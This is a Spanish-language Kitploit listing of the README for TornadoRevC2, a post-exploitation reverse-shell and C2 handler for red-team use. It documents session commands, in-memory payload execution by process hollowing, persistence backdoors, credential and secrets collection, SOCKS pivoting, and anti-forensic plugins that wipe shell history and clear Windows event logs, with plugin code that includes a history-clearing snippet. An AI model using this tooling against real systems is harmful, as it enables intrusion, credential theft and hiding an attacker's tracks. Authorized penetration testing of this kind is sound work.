Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
TornadoRevC2 — Framework modular de post-explotación que gestiona sesiones de reverse-shell sobre TCP/TLS/mTLS con plugins para enumeración, ejecución en memoria, pivoting SOCKS5 y persistencia. | Kitploit
Herramientas/GitHubGitHub/kamalx06/tornadorevc2
Frameworks de Pruebas de PenetraciónEscalada de PrivilegiosMecanismos de PersistenciaMovimiento LateralScripting y AutomatizaciónRecopilación de InformaciónPost-ExplotaciónComando y ControlRed TeamingHerramienta de Acceso RemotoDesarrollo de Payloads
2477hace 21h 2mRevisado por Kitploit
GitHubkamalx06/tornadorevc2

TornadoRevC2

Framework modular de post-explotación que gestiona sesiones de reverse-shell sobre TCP/TLS/mTLS con plugins para enumeración, ejecución en memoria, pivoting SOCKS5 y persistencia.

Ver Repositorio

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

TornadoRevC2

Un framework de post-explotación ligero y modular para investigación de seguridad autorizada, operaciones de red-team y pruebas de penetración. TornadoRevC2 gestiona sesiones de reverse shell en hosts Linux y Windows a través de una consola de operador unificada, extendiendo el manejo central de sesiones con una arquitectura de plugins multiplataforma para enumeración de hosts, conocimiento situacional y tareas operativas.

Importante: TornadoRevC2 es un manejador de sesiones y un framework de post-explotación, no una plataforma de command-and-control estilo beacon. Prioriza shells interactivos fiables, flujos de trabajo estructurados para el operador y ejecución de plugins bajo demanda por encima de la infraestructura de agentes persistentes.


Aviso Legal

Utilice este software únicamente en sistemas de su propiedad o en sistemas para los que cuente con autorización escrita explícita. Usted es el único responsable del cumplimiento de las leyes aplicables y las políticas organizacionales. Los autores y colaboradores no aceptan ninguna responsabilidad por uso indebido, pérdida de datos o consecuencias legales derivadas del uso de este proyecto.


Demo

TornadoRevC2 Demo

Demo rápida: gestión de sesiones, ejecución de plugins, pivoting SOCKS5.


Tabla de Contenidos

  • Introducción
  • Características Principales
  • Filosofía de Diseño
  • Arquitectura
  • Requisitos e Instalación
  • Inicio Rápido
  • Referencia del Operador
  • Plugins Integrados
  • Desarrollo de Plugins
    • Descripción general del sistema de plugins
    • Ubicación de plugins
    • Registro
    • Ciclo de vida de ejecución
    • Patrón 1: Plugin de shell simple
    • Patrón 2: Colector estructurado
    • Patrón 3: Manejador personalizado
    • Colectores Linux
    • Colectores Windows
    • Convenciones de payload JSON
    • Formateadores personalizados
    • Plugins específicos de plataforma
    • Plugins externos
    • API de SessionContext
    • Manejo de errores y códigos de retorno
    • Buenas prácticas
    • Implementaciones de referencia
  • Registro de Sesiones
  • Estructura del Proyecto
  • Configuración de TLS y mTLS
  • Licencia

Introducción

TornadoRevC2 es un framework modular de gestión de reverse shells que acepta conexiones entrantes sobre TCP plano, TLS con autenticación de servidor y TLS mutuo (mTLS) con verificación de certificado de cliente, proporcionando una consola de operador unificada para gestión de sesiones, reconocimiento de hosts, transferencia de archivos por chunks, ejecución de payloads en memoria, pivoting SOCKS5, post-explotación basada en plugins, informes estructurados y un comando update integrado para actualizaciones automáticas basadas en Git y reinicios fluidos del handler. Originalmente desarrollado como un manejador de reverse shell ligero, el proyecto ha evolucionado hacia un framework extensible en el que capacidades como la enumeración de firewalls, la recolección de metadatos de almacenes de credenciales, el mapeo de red, la elaboración de perfiles de navegadores y funcionalidad adicional de post-explotación se implementan como plugins independientes y modulares. El framework también incluye el plugin make_token para establecer nuevas sesiones de C2 mediante protocolos remotos (SSH, WinRM, SMB, RDP, WMI, MSSQL) utilizando herramientas de línea de comandos desde el lado del operador, con soporte para puertos personalizados, autenticación mediante hash NTLM e integración con netexec, y un plugin upgrade_mtls que migra una sesión activa al listener de TLS mutuo enviando el paquete de certificado de cliente del handler al objetivo.

Plataformas objetivo soportadas: Linux y Windows (principales), con compatibilidad para entornos Unix y BSD genéricos donde sea aplicable.


Características Principales

CategoríaCapacidades
Gestión de sesionesListeners TCP / TLS / mTLS multicliente con arranque automático de PKI · Actualización mTLS bajo demanda para sesiones activas · Shells PTY/TTY interactivos · Fingerprinting de sesiones y seguimiento de reconexiones
Transferencia de archivosCarga y descarga por chunks · Verificación de integridad SHA-256
Ejecución de payloadsEjecución en memoria para py, ps, exe, elf, bat y sh
Pivoting y tunnelingProxy SOCKS5 a través de sesiones comprometidas con limpieza remota automática · Despliegue de agentes Ligolo-NG y Chisel con persistencia en segundo plano
Establecimiento de sesiones remotasmake_token — establece nuevas sesiones sobre SSH, WinRM, SMB, RDP, WMI y MSSQL desde el lado del operador, con autenticación por hash NTLM e integración con netexec
Suplantaciónrunas — ejecuta comandos o lanza un shell cifrado con TLS como otro usuario, local o remoto, con soporte de dominio e integración con netexec
EnumeraciónAbarcando triaje de host, postura de red, credenciales y metadatos de navegadores, tickets Kerberos, internals de Linux, y configuración de dominio y sistema de Windows
Plugins operativosBorrado seguro de archivos multipasada · Cifrado híbrido de archivos · Limpieza del historial de shell · Limpieza de registros de eventos de Windows
PersistenciaInstalación de backdoor multiplataforma usando payloads cifrados con TLS — cron @reboot en Linux/Unix, registro Run en Windows
ExtensibilidadCarga, recarga y descarga de plugins en tiempo de ejecución · Plugins externos mediante TORNADOREVC2_PLUGIN_DIR · API SessionContext documentada
InformesRegistro por sesión · Salida estructurada de plugins · Exportación de transcripciones HTML
AutoactualizaciónComando update basado en Git con verificación de repositorio, pull fast-forward y reinicio automático del handler · Compatible con forks, con detección de divergencias y un prompt de reset seguro

No soportado: Programación de tareas, o infraestructura de callback estilo beacon.


Filosofía de Diseño

TornadoRevC2 está diseñado para entornos donde la fricción de despliegue y la huella operativa importan.

Diseño ligero en dependencias, basado en comandos nativos

Los plugins aprovechan utilidades nativas de Windows y Linux y comandos de sistema integrados ya presentes en el host objetivo—netsh, ss, iptables, ufw, firewall-cmd, nft, cmdlets de PowerShell, nmcli, wevtutil, y otros. Los colectores invocan estas herramientas a través del canal de reverse shell y analizan la salida de forma remota, minimizando la necesidad de subir binarios adicionales o instalar dependencias.

Sin despliegue de artefactos en el objetivo

Las operaciones de los plugins se ejecutan a través del canal de reverse shell existente y no requieren dejar caer binarios, ejecutables, scripts o archivos temporales en el sistema objetivo. Las tareas de enumeración se ejecutan como comandos nativos o scripts colectores en proceso; los resultados regresan como JSON marcado a través del shell. El único artefacto inevitable es el historial de comandos normal generado por el propio shell.

Degradación elegante

Cuando una rutina de enumeración falla, no está disponible o expira, el plugin no aborta por completo. La sección afectada se deja vacía o se marca como N/A mientras el resto del informe continúa.

Mantenimiento del lado del operador

Las actualizaciones del handler se entregan a través de Git en la máquina del operador. El comando update utiliza tiempos de espera acotados en subprocesos, configuraciones de Git no interactivas y una ruta de apagado local rápida para que el handler pueda reiniciarse de forma fiable sin bloquearse en la limpieza de sesiones remotas.


Arquitectura```text

┌─────────────────────────────────────────────────────────────────┐ │ Operator Console (handler) │ │ Sessions · Transfers · SOCKS · Plugins · Logging · Export · │ │ update │ └────────────────────────────┬────────────────────────────────────┘ │ reverse shell channel (TCP / TLS / mTLS) ▼ ┌─────────────────────────────────────────────────────────────────┐ │ Target Host │ │ Native commands · PowerShell · inline collectors │ │ T_PLUGIN_START + JSON + T_PLUGIN_END │ └─────────────────────────────────────────────────────────────────┘

root@kitploit:~
### Configuración de Listeners

TornadoRevC2 ejecuta **tres listeners independientes simultáneamente**, para que los implants puedan conectarse mediante texto plano, TLS con autenticación de servidor o TLS con autenticación mutua, según el modelo de amenaza del engagement:

| Listener | Puerto por defecto | Flag | Autenticación | Certificados |
|----------|--------------|------|----------------|--------------|
| TCP      | `4444`       | `-p` | Ninguna           | Ninguno |
| TLS      | `8443`       | `-tp` | Autenticación de servidor | `tls_certs/server.pem`, `tls_certs/server.key` |
| mTLS     | `9443`       | `-mp` | Mutua (se requiere certificado de cliente) | bundle `mtls_certs/` (CA + servidor + cliente) |

El flag `-H` establece la dirección de bind compartida por los tres listeners. Los tres pueden habilitarse a la vez; actualmente no es necesario deshabilitar ninguno — deja el puerto libre o sin bind para ignorarlo.

**Generación automática de certificados.** En el primer lanzamiento, el handler crea dos directorios aislados y genera el material que necesita:```text
tls_certs/
  server.pem          # self-signed server certificate
  server.key          # server private key

mtls_certs/
  ca.pem              # mTLS certificate authority (self-signed, 4096-bit RSA)
  ca.key              # CA private key
  ca.srl              # OpenSSL serial counter (auto-generated)
  server-mtls.pem     # server cert signed by CA
  server-mtls.key     # server private key
  client.pem          # client cert signed by CA — ship to implant
  client.key          # client private key  — ship to implant

Estructura del plugin```text

tornadorevc2/plugins/ shared/ Cross-platform plugins with internal Windows/Linux implementations linux/ Linux/Unix-only plugins and collector builders windows/ Windows-only plugins (rdp, services, eventlogdel, …) api.py SessionContext and @plugin.command registration manager.py Runtime loading, execution, and platform filtering loader.py Automatic module discovery

root@kitploit:~
**Plugins compartidos** (`firewall`, `ports`, `browser`, `credstore`, y otros) existen como módulos unificados únicos en `shared/`. **Los plugins específicos de plataforma** como `rdp` y `eventlogdel` residen exclusivamente bajo `windows/` o `linux/` y no se duplican en `shared/`.

Los recolectores emiten JSON envuelto en tokens marcadores (`__T_PLUGIN_START__` / `__T_PLUGIN_END__`). El ejecutor compartido analiza esta salida, formatea un informe orientado al operador y persiste los resultados en el directorio de registro de sesión.

---

## Requisitos e Instalación

**Handler (máquina del operador):**

- Python 3.7 o posterior
- OpenSSL (para la generación automática de certificados TLS y mTLS)
- Git (opcional; requerido para el comando de operador `update`)
- No se requieren paquetes Python de terceros```bash
git clone https://github.com/kamalx06/TornadoRevC2.git
cd TornadoRevC2
python3 tornadorevc2.py

Inicio rápido

1. Iniciar el handler```bash

Default: TCP on 4444, TLS on 8443, mTLS on 9443

python tornadorevc2.py

Custom bind address and ports for all three listeners

python tornadorevc2.py -H 0.0.0.0 -p 4444 -tp 8443 -mp 9443

Point to your own certificate material

python tornadorevc2.py
-c tls_certs/server.pem -k tls_certs/server.key
--mtls-ca-cert mtls_certs/ca.pem --mtls-ca-key mtls_certs/ca.key
--mtls-server-cert mtls_certs/server-mtls.pem --mtls-server-key mtls_certs/server-mtls.key
--mtls-client-cert mtls_certs/client.pem --mtls-client-key mtls_certs/client.key

root@kitploit:~
### 2. Establecer una sesión

Despliega un reverse shell desde el catálogo integrado (`payloads`) o usa tu propio implante. Al conectarse, TornadoRevC2 asigna un ID de sesión y comienza a registrar en `logs/`.

### 3. Operar```bash
status                          # List active sessions
switch 1                        # Attach to session 1
sysinfo 1                       # Collect host metadata
run credstore 1                 # Credential store metadata
run memorymap 1 1234            # Process memory maps (requires PID)
run inmemory 1 sh ./linpeas.sh  # In-memory script execution
update                          # Pull latest from GitHub and restart (Git installs)

Cuando se adjunta mediante switch <ID>, omita el ID de sesión en los comandos posteriores (run quickenum en lugar de run quickenum 1). Los listados de plugins y la finalización con TAB dentro de una sesión de cliente se filtran a los plugins compatibles con la plataforma de esa sesión.

El comando update está disponible únicamente desde el prompt del manejador principal. Verifica que Git esté instalado, confirma que la instalación es un árbol de trabajo de Git, obtiene datos del remoto configurado, realiza un pull fast-forward cuando existen actualizaciones y reinicia el manejador con el mismo ejecutable y argumentos. Si la instalación ya está actualizada, imprime TornadoRevC2 is already running the latest version. y deja el servidor en ejecución.


Referencia del operador

Gestión de sesiones

ComandoDescripción
status / lsLista las sesiones de reverse shell activas
sessionsMuestra las sesiones rastreadas, incluidos los hosts desconectados
reconnectsMuestra el historial de reconexión de sesiones
switch <ID>Se adjunta a un shell de sesión interactivo
kill <ID>Termina una sesión
rename <ID> <name> / rn <ID> <name>Asigna un nombre descriptivo
sysinfo <ID> [--stealth|--full]Recopila o actualiza la información del host
export <ID>Exporta una transcripción HTML de la sesión

Plugins

ComandoDescripción
plugins / plugins listLista los plugins registrados
plugins list --verboseMuestra las rutas de los módulos y el estado de carga
plugins load <name>Carga un plugin externo en tiempo de ejecución
plugins unload <name>Deshabilita o descarga un plugin
plugins reload <name>Recarga un módulo de plugin
plugins info <name>Muestra los metadatos del plugin
run <plugin> <ID> [args...]Ejecuta un plugin contra una sesión

Transferencia de archivos

ComandoDescripción
upload [--resume] <ID> <local> <remote>Sube con transferencia por fragmentos
download [--resume] <ID> <remote> <local>Descarga con transferencia por fragmentos
verify <ID> <remote> / hash <ID> <remote>Verifica el tamaño y el SHA-256 del archivo remoto

Ejecución en memoria

ComandoDescripción
run inmemory <ID> <type> <local_file> [-- args] [--save-output <file>]Ejecuta el payload en memoria

Tipos admitidos: py, ps, exe, elf, bat, sh

Pivoting de red

ComandoForma dentro de la sesiónDescripción
socks <ID> <listen_port>socks <listen_port>Inicia un proxy SOCKS5 a través de una sesión (listener local en 127.0.0.1:<listen_port>)
socks <ID> test <host> <port>socks test <host> <port>Prueba la alcanzabilidad TCP hacia un host interno a través del agente de túnel
socks <ID> resetsocks resetRestablece los flujos del agente de túnel y descarta los datos en búfer (no detiene los listeners SOCKS activos)
socks stop <proxy_id>socks stop <proxy_id>Detiene un proxy SOCKS y limpia los artefactos del túnel remoto cuando ningún otro proxy usa la sesión
tunnelstunnelsLista los proxies SOCKS activos, el recuento de canales y el estado

General

ComandoDescripción
payloadsMuestra la referencia de payloads integrados
updateBusca actualizaciones en el repositorio oficial de GitHub y reinicia tras un pull fast-forward exitoso (requiere Git; solo en el menú principal)
helpMuestra la referencia de comandos
exit / quitApaga el manejador

Plugins integrados

TornadoRevC2 incluye 51 plugins integrados organizados por función. Todos los plugins relacionados con la enumeración son de solo lectura, salvo que se indique lo contrario.

Evaluación del host y entorno

PluginPlataformaDescripción
quickenumMultiplataformaTriaje rápido y estructurado del host: identidad, red, entorno, hallazgos priorizados
virtualizationMultiplataformaDetección de virtualización, contenedores, orquestación y entorno de nube
kernelMultiplataformaVersión del kernel, módulos/drivers cargados, mitigaciones de seguridad y configuración del kernel
integrityMultiplataformaSecure Boot, BitLocker/LUKS, aplicación de firma de código, bloqueo del kernel y protecciones de integridad
filesearchMultiplataformaBusca archivos por ruta, nombre, extensión, tamaño, propietario, mtime (run filesearch help para ver las opciones)
packagesMultiplataformaSoftware instalado, gestores de paquetes, configuración de repositorios e instalaciones recientes
sysinfoMultiplataformaRecopilación de metadatos del host (comando del manejador, no un plugin)
kerberosenumMultiplataformaMetadatos de tickets Kerberos: cachés, principal predeterminado, realm, TGT, tickets de servicio, tipos de cifrado, flags (renewable/forwardable), archivos keytab, configuración krb5.conf/registro y variables de entorno (sin secretos)

Red y conectividad

PluginPlataformaDescripción
firewallMultiplataformaEstado del firewall, perfiles/zonas, políticas y reglas destacadas (WDF, UFW, firewalld, nftables, iptables)
portsMultiplataformaPuertos a la escucha, conexiones establecidas, procesos propietarios y enrutamiento
proxyMultiplataformaConfiguración de proxy del sistema, del entorno, PAC/WPAD y del navegador
vpnMultiplataformaClientes VPN, conexiones activas, adaptadores y metadatos de configuración

Credenciales, navegadores y aplicaciones

PluginPlataformaDescripción
credstoreMultiplataformaMetadatos del almacén de credenciales (sin extracción de secretos): Credential Manager, keyrings, almacenes del navegador
browserMultiplataformaNavegadores instalados, perfiles, extensiones, marcadores y políticas empresariales
clipboardMultiplataformaCaptura del texto del portapapeles remoto
secretsLinux/UnixArchivos de configuración, variables de entorno, claves SSH y credenciales de nube

Interior del host

PluginPlataformaDescripción
historyMultiplataformaHistorial del shell, registros de paquetes/actualizaciones y actividad de inicio de sesión reciente
mountsMultiplataformaPuntos de montaje, recursos compartidos SMB/NFS, unidades mapeadas, sistemas de archivos de contenedores
memorymapMultiplataformaMapas de memoria de procesos y módulos cargados para un PID especificado
screenshotMultiplataformaCaptura de escritorio devuelta al operador (sesiones GUI; PNG guardado localmente)
cronLinux/UnixTareas cron, crontabs del sistema, crontabs de usuario y colas at
systemdLinux/UnixServicios, timers, unidades fallidas y unidades de inicio habilitadas
privbinsLinux/UnixBinarios SUID/SGID, capacidades de archivos y ejecutables relevantes para la escalada de privilegios
lsmLinux/UnixSELinux, AppArmor y otros Linux Security Modules: modo de aplicación, políticas y configuración
journalLinux/UnixResúmenes estructurados de journalctl: autenticación, kernel, fallos de servicios y eventos recientes
sshauditLinux/UnixEnumeración del servidor SSH: configuración efectiva de sshd, superficie de autenticación, opciones de pivoting, claves de host, authorized_keys y confianza de CA
containersLinux/UnixRuntimes y cargas de trabajo de contenedores: Docker, Podman, containerd, CRI-O, LXC/LXD e indicadores de Kubernetes
usersessionsMultiplataformaSesiones locales, remotas, SSH, RDP, de consola y de servicio activas con metadatos de inicio de sesión/origen

Dominio y sistema de Windows

PluginPlataformaDescripción
adinfoWindowsPertenencia al dominio, controladores de dominio, bosques, relaciones de confianza y OUs
servicesWindowsServicios de Windows, tipos de inicio, binarios y cuentas de servicio
scheduledtasksWindowsTareas programadas, desencadenadores, contexto de ejecución y acciones
registryWindowsClaves de autorun, ubicaciones de inicio y software instalado
eventlogsWindowsResúmenes de los registros Security, System, Application y PowerShell
defenderWindowsEstado de Microsoft Defender, exclusiones, reglas ASR y AV de terceros
certificatesWindowsAlmacenes de certificados, firma de código y certificados empresariales
rdpWindowsConfiguración de Remote Desktop, estado, destinos recientes y ajustes
gpoWindowsGPOs aplicadas, políticas de seguridad locales/de dominio, AppLocker, WDAC, SRP y scripts de GPO
winrmWindowsConfiguración de WinRM, listeners, métodos de autenticación, integración con el firewall y estado de remoting
driversWindowsDrivers y módulos del kernel instalados, estado firmado/no firmado, tipo de inicio y drivers destacados de seguridad/VM
powershellWindowsVersión de PowerShell, política de ejecución, registro, módulos, ajustes de remoting y rutas de perfil
lsaWindowsProtección LSA, Credential Guard, seguridad basada en virtualización y configuración de seguridad de credenciales

Ejecución y operativa

PluginPlataformaDescripción
inmemoryMultiplataformaEjecución de payloads en memoria (py, ps, exe, elf, bat, sh)
make_tokenMultiplataformaEstablece sesiones C2 mediante protocolos remotos (SSH, WinRM, SMB, RDP, WMI, MSSQL) usando herramientas CLI desde el lado del operador con soporte para puertos personalizados, hashes NTLM e integración con netexec
nullcryptMultiplataformaCifra un archivo de forma híbrida (AES-GCM + clave envuelta con RSA) y luego borra de forma segura el original mediante wiper
wiperMultiplataformaSobrescritura segura multipaso configurable (renombrar, truncar, eliminar); perfiles: quick, standard, dod, thorough, shred
historydelMultiplataformaBorra los archivos de historial del shell del usuario actual y el almacenamiento relacionado
eventlogdelWindowsBorra los registros de eventos de Windows mediante wevtutil / Clear-EventLog nativos
runasWindowsEjecuta comandos o lanza un reverse shell cifrado con TLS como otro usuario (local/remoto) con gestión de credenciales, soporte de dominio e integración con netexec
ligolongMultiplataformaDespliega el agente de tunneling Ligolo‑NG en objetivos Linux/Windows con persistencia en segundo plano
chiselMultiplataformaDespliega el agente de tunneling Chisel en modo reverse (cliente) o bind (servidor); admite SOCKS5 y persistencia en segundo plano
persistenceMultiplataformaInstala una puerta trasera de reverse shell persistente (cron @reboot / registro Run) usando un payload cifrado con TLS
upgrade_mtlsMultiplataformaEnvía el paquete de cliente mTLS del manejador a una sesión y la relanza a través del listener mTLS (opcional; no afecta a otros listeners)

Métodos de ejecución en memoria:

TipoMétodo
pyPython mediante exec(compile(...))
psPowerShell mediante Invoke-Expression
exePE de Windows mediante RunPE en memoria (process hollowing)
elfELF de Linux mediante memfd_create con fallback a /dev/shm
shScript de shell transmitido mediante bash -s
batScript por lotes transmitido mediante stdin de cmd.exe /Q

Scripts de PEASS-ng para privesccheck en memoria: github.com/carlospolop/PEASS-ng


Desarrollo de plugins

Esta sección describe cómo extender TornadoRevC2 con plugins personalizados. Los plugins son módulos Python simples que registran comandos con @plugin.command y reciben un SessionContext para la sesión objetivo. No se requieren cambios en el código del manejador principal.

Descripción general del sistema de plugins

El sistema de plugins tiene cuatro capas:

CapaMóduloResponsabilidad
Registroplugins/api.pyDecorador @plugin.command, registro global de comandos, SessionContext
Descubrimientoplugins/loader.pyEscanea shared/, linux/, windows/ y directorios externos; importa módulos
Ejecuciónplugins/manager.pyResuelve la plataforma, construye el contexto, invoca el handler, gestiona errores
Recolectoresplugins/shared/runner.pyAnálisis de marcadores, extracción de JSON, formateo de informes, registro

En tiempo de importación, el decorador @plugin.command registra cada handler en un registro global thread-safe. En tiempo de ejecución, PluginManager.run_plugin() valida la compatibilidad de plataforma, construye un SessionContext y llama al handler con (session, args).

Los handlers devuelven un código de salida entero: 0 para éxito, distinto de cero para fallo. La consola del handler muestra advertencias para valores de retorno distintos de cero.

Ubicación de los plugins

Elija una ubicación según el alcance de la plataforma y si el plugin se distribuye con el proyecto:

UbicaciónAlcanceCargado
tornadorevc2/plugins/shared/Multiplataforma (implementaciones internas de Windows + Linux)Automáticamente al inicio
tornadorevc2/plugins/linux/Solo Linux/UnixAutomáticamente al inicio
tornadorevc2/plugins/windows/Solo WindowsAutomáticamente al inicio
./plugins/myplugin.pyExterno (cualquier alcance que defina)Bajo demanda mediante plugins load
./plugins/myplugin/__init__.pyPaquete externoBajo demanda mediante plugins load
Ruta en TORNADOREVC2_PLUGIN_DIRExterno (directorio personalizado)Bajo demanda mediante plugins load

Reglas de estructura:

  • Los archivos llamados common.py, runner.py y __init__.py bajo shared/ se omiten durante el descubrimiento.
  • Los archivos que comienzan con _ bajo linux/ o windows/ son módulos auxiliares, no plugins.
  • Los plugins compartidos deben ser un único módulo en shared/ con ramificación interna por plataforma; no duplique plugins multiplataforma tanto en shared/ como en linux//windows/.
  • Los plugins específicos de plataforma (p. ej. rdp, eventlogdel) pertenecen exclusivamente a windows/ o linux/.

Registro

Registre un comando con el decorador @plugin.command:```python from tornadorevc2.plugins import plugin, SessionContext

@plugin.command( name="myplugin", # Command name used with run myplugin <ID> platforms=["linux", "windows", "unix"], # Supported session platforms description="Short description for plugins list and TAB completion", ) def run(session: SessionContext, args): ... return 0 # 0 = success, non-zero = failure

root@kitploit:~
**Valores de plataforma:** `linux`, `windows`, `unix`. Linux y `unix` se tratan como compatibles— un plugin registrado para `linux` se ejecuta en ambos. Valor predeterminado si se omite: `["linux", "windows", "unix"]`.

**Múltiples comandos por módulo:** Un solo archivo puede registrar varios comandos aplicando `@plugin.command` a múltiples funciones. Cada uno obtiene un nombre independiente.

### Ciclo de vida de ejecución

Cuando un operador ejecuta `run myplugin 1 arg1 arg2`:```text
1. PluginManager resolves session #1 and looks up "myplugin" in the registry
2. Platform check: plugin.platforms vs session shell type (unix/windows)
3. SessionContext(handler, client_socket) is constructed
4. Handler invoked: run(ctx, ["arg1", "arg2"])
5. Handler executes remote work via run_shell / run_marked / run_collector_plugin
6. Output printed to operator console; results logged under logs/<session>/plugins/
7. Exit code returned (0 = success)

Dentro de una sesión adjunta (switch <ID>), se omite el ID de sesión y los argumentos comienzan inmediatamente después del nombre del plugin: run myplugin arg1 arg2.

Patrón 1: Plugin de shell simple

Úsalo cuando necesites un comando puntual rápido sin análisis JSON estructurado. El handler ejecuta un comando de shell nativo, imprime la salida y registra el resultado.```python from tornadorevc2.plugins import plugin, SessionContext

@plugin.command( name="whoami", platforms=["linux", "windows", "unix"], description="Print remote user identity", ) def run(session: SessionContext, args): session.log_event("Plugin whoami: started")

root@kitploit:~
if session.is_windows:
    cmd = "whoami /all"
else:
    cmd = "id 2>/dev/null || whoami"

output = session.run_shell(cmd, timeout=10.0)
if not output.strip():
    session.print("Plugin 'whoami' failed — no output from target.", "red")
    session.log_plugin_result("whoami", "", "no output")
    return 1

report = output.strip()
session.print(report, "cyan")
session.log_plugin_result("whoami", report)
session.log_command("run whoami", report)
return 0
root@kitploit:~
**Cuándo usar:** Sondas simples, enumeración en una línea, comandos que no necesitan informes estructurados.

**Métodos clave:** `session.run_shell(cmd, timeout)`, `session.print(text, color)`, `session.log_plugin_result(name, report, detail='')`.

### Patrón 2: Colector estructurado (recomendado)

Úsalo para plugins de enumeración que recopilan datos estructurados en el objetivo y devuelven un informe formateado. Este es el patrón utilizado por todos los plugins de reconocimiento integrados (`firewall`, `ports`, `browser`, etc.).

**Flujo:**```text
Handler                              Target host
  │                                       │
  ├─ session.log_event("started")         │
  ├─ flush shell buffer                   │
  ├─ resolve platform (unix/windows)      │
  ├─ build collector command/script ─────►│  Linux: inline Python or native shell
  │                                       │  Windows: PowerShell script in-process
  │                                       ├─ invoke native OS commands
  │                                       ├─ assemble result dict
  │                                       └─ emit __T_PLUGIN_START__ + JSON + __T_PLUGIN_END__
  │◄──────────────────────────────────────┤
  ├─ parse_collector_json(raw)            │
  ├─ formatter(data) → report string      │
  ├─ session.print(report)                │
  └─ session.log_plugin_result(...)       │

Ejemplo mínimo multiplataforma:```python from tornadorevc2.plugins import plugin, SessionContext from tornadorevc2.plugins.linux._helpers import build_linux_collector_command from tornadorevc2.plugins.shared.common import format_generic_report from tornadorevc2.plugins.shared.runner import run_collector_plugin from tornadorevc2.constants import PLUGIN_MARK_END, PLUGIN_MARK_START

def _linux_collector_source(): # Runs inside a try/except wrapper on the target. # Call _emit(result) with a JSON-serializable dict — do NOT print markers yourself. return r''' import subprocess result = {'summary': {}, 'processes': []} try: out = subprocess.check_output(['ps', 'auxww'], stderr=subprocess.STDOUT, timeout=10) lines = out.decode('utf-8', errors='replace').splitlines() result['summary'] = {'count': max(0, len(lines) - 1)} result['processes'] = lines[1:51] except Exception as exc: result['summary'] = {'error': str(exc)} _emit(result) '''

def _build_linux_command(): return build_linux_collector_command(_linux_collector_source())

def _build_windows_command(): return rf""" $ErrorActionPreference='SilentlyContinue' $start='{PLUGIN_MARK_START}'; $end='{PLUGIN_MARK_END}' $procs = Get-CimInstance Win32_Process -EA 0 | Select-Object -First 50 ProcessId, Name, CommandLine $result = [ordered]@{{ summary = @{{ count = @($procs).Count }} processes = @($procs) }} Write-Output ($start + (ConvertTo-Json $result -Depth 4 -Compress) + $end) """

@plugin.command( name="processes", platforms=["linux", "windows", "unix"], description="List running processes on the remote host", ) def run(session: SessionContext, args): return run_collector_plugin( session, "processes", _build_linux_command, # callable — built at execution time _build_windows_command, # callable — built at execution time format_generic_report, # turns parsed dict into operator-facing text timeout=25.0, # seconds to wait for marked output )

root@kitploit:~
**Parámetros de `run_collector_plugin`:**

| Parámetro | Tipo | Descripción |
|-----------|------|-------------|
| `session` | `SessionContext` | Sesión objetivo |
| `plugin_name` | `str` | Nombre utilizado en los logs y mensajes de error |
| `unix_builder` | `Callable[[], str]` o `None` | Devuelve el comando de shell de Unix/Linux; `None` si no está disponible |
| `win_builder` | `Callable[[], str]` o `None` | Devuelve el script de PowerShell; `None` si no está disponible |
| `formatter` | `Callable[[dict], str]` | Convierte el dict JSON analizado en una cadena de informe |
| `timeout` | `float` | Segundos máximos de espera para la salida marcada (por defecto 30) |

Pase `None` para un builder de plataforma para marcar el plugin como no disponible en ese SO (consulte [Platform-specific plugins](#platform-specific-plugins)).

Después de guardar un plugin externo:```bash
plugins load processes
plugins info processes
run processes 1

Patrón 3: Manejador personalizado

Úselo cuando necesite validación de argumentos, construcción dinámica de colectores, procesamiento posterior al colector o manejo de archivos del lado del operador que run_collector_plugin no cubre por sí solo.

Ejemplos en el código base:

PluginComportamiento personalizado
memorymapRequiere argumento PID; construye el colector dinámicamente con el PID incrustado
wiperRequiere ruta remota; acción destructiva con salida de confirmación
screenshotDecodifica imagen base64 y guarda PNG localmente en la máquina del operador
historydelEjecuta el colector, luego envía un comando de shell de seguimiento para la limpieza del historial en memoria
clipboardManejo personalizado de fallo suave mediante el campo reason en lugar de error duro

Ejemplo de validación de argumentos (de memorymap):```python import re from tornadorevc2.plugins import plugin, SessionContext from tornadorevc2.plugins.shared.runner import _run_collector_marked, parse_collector_json

@plugin.command( name="memorymap", platforms=["linux", "windows", "unix"], description="Enumerate memory maps for a process (requires PID)", ) def run(session: SessionContext, args): if not args or not re.match(r"^\d+$", args[0].strip()): session.print("Usage: run memorymap ", "yellow") return 1

root@kitploit:~
pid = args[0].strip()
session.log_event(f"Plugin memorymap: started for PID {pid}")
session._handler._flush_shell(session._client_sock, timeout=1.0)

unix_cmd = _build_linux_command(pid)   # builder accepts runtime args
win_ps = _build_windows_command(pid)

raw = _run_collector_marked(session, unix_cmd, win_ps, session.platform, 45.0)
if raw is None:
    session.print("Plugin 'memorymap' failed — no response from target.", "red")
    return 1

data = parse_collector_json(raw)
report = format_memorymap_report(data)
session.print(report, "cyan")
session.log_plugin_result("memorymap", report, ...)
return 0
root@kitploit:~
**Ejemplo de procesamiento posterior a la recolección** (de `historydel`):```python
def run(session: SessionContext, args):
    # ... run collector via _run_collector_marked ...
    data = parse_collector_json(raw)

    # Additional in-memory cleanup in the interactive shell
    if session.is_unix:
        session.run_shell("history -c 2>/dev/null; history -w 2>/dev/null; true", timeout=5.0)
    elif session.is_windows:
        session.run_marked("", "Clear-History -ErrorAction SilentlyContinue", timeout=5.0)

    report = format_historydel_report(data)
    session.print(report, "green" if data.get("cleared") else "yellow")
    return 0

Para acceso directo a la ejecución marcada sin el contenedor completo del colector, use _run_collector_marked y parse_collector_json desde plugins/shared/runner.py.

Colectores de Linux

Los colectores de Linux son cadenas de código fuente Python que se ejecutan en el objetivo mediante build_linux_collector_command().

Estructura:

  1. Defina _linux_collector_source() devolviendo una cadena sin procesar (r'''...''').
  2. Escriba la lógica del colector que construye un dict result.
  3. Llame a _emit(result) al final — nunca imprima marcadores manualmente.
  4. Envuelva con _build_linux_command() → build_linux_collector_command(source).

El contenedor en linux/_helpers.py automáticamente:

  • Indenta su código fuente dentro de un bloque try/except
